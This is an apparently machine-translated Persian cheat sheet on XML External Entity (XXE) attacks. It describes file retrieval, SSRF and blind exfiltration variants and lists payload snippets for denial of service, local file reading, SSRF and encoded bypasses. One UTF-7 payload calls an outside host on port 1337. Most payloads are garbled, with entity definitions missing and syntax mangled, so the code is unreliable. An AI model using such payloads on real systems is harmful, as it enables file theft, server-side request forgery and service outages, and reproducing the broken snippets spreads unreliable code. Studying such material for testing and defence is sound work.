در این بخش ، ما توضیح خواهیم داد كه اجرای اشخاص XML خارجی چیست ، چند نمونه متداول را شرح می دهد ، چگونگی یافتن و استفاده از انواع مختلف پیاده سازی XXE را توضیح می دهد ، و خلاصه می كند كه چگونه از حملات پیاده سازی XXE جلوگیری كنیم.
اشخاص بیرونی چیست؟ XML؟
تعبیه یک جسم XML خارجی (همچنین با عنوان XXE شناخته می شود) یک آسیب پذیری امنیتی در وب است که می تواند به مهاجمان اجازه دهد در پردازش داده های XML برنامه دخالت کند.
اغلب به یک مهاجم اجازه می دهد تا پرونده ها را روی سیستم فایل سرور مشاهده کند. برنامه های کاربردی و تعامل با هر سیستم داخلی یا خارجی که خود برنامه بتواند به آن دسترسی پیدا کند.
انواع مختلفی از حملات XXE وجود دارد:
| توضیحات | |
|---|---|
|
استفاده از XXE برای دریافت پرونده ها |
موجودیت خارجی که شامل محتوای پرونده است |
| استفاده از XXE برای انجام حملات SSRF |
در جایی که یک نهاد خارجی بر اساس URL سیستم داخلی تعیین می شود. |
|
بهره برداری از داده های نابینای XXE از شبکه |
از کجا داده های حساس منتقل می شوند. اعتماد به برنامه به سیستم كنترل شده مهاجم. |
|
استفاده از كور XXE برای بازیابی اطلاعات از طریق پیام های خطا |
از آنجا كه یك مهاجم ممكن است یك پیام خطایی تجزیه شده را در بر داشته باشد كه حاوی داده های حساس باشد. |
] XXE: نمونه XML اصلی
جان
Doe
XXE: موجودیت نمونه
<! DOCTYPE جایگزین []>
جان
& مثال؛
XXE: گسترش پرونده
<! DOCTYPE جایگزین []>
جان
& ent؛
XXE: نمونه ای از انکار خدمات
<! DOCTYPE lolz [
<! ENTITY lol1 "& lol؛ & lol؛ & lol؛ & lol؛ & lol؛
& lol9؛ XXE: نمونه ای از پرونده محلی
<! DOCTYPE foo [
]> & xxe؛ XXE: نمونه ای از پرونده های محلی کور (وقتی پرونده اول چیزی را بر نمی گرداند)
<! DOCTYPE foo [
]> & blind؛ XXE: گذرگاه کنترل دسترسی (بارگذاری منابع محدود – نمونه ای از PHP)
<! DOCTYPE foo [
]>
& ac؛ XXE: مثال SSRF (درخواست جعلی سمت سرور)
<! DOCTYPE foo [
]> & xxe؛ XXE: (حمله از راه دور – از طریق درج XML XML)
<! DOCTYPE lolz [
]>
3..2..1 ... & test XXE: UTF-7 مثال
+ foo ADwAIQ-DOCTYPE + AFS + ADwAIQ-element foo ANY + AD4
+ ADwAIQ-ENTITY xxe SYSTEM + ACI-http: //hack-r.be: 1337 + ACI + AD4AXQA +
+ ADw-foo + AD4AJg-xxe + ADsAPA- / foo + AD4 XXE: Base64 کدگذاری شده
<! آزمون DOCTYPE [٪ init؛ ]> مثال XXE: XXE داخل صابون
<! [CDATA[<!DOCTYPEdoc[٪ dtd؛]>
XXE: XXE داخل SVG
¯ _ (ツ) _ / ¯
توجه: اطلاعات مربوط به تحقیق ، آموزش یا ممیزی. استفاده خودخواهانه براساس قوانین فدراسیون روسیه قابل مجازات است.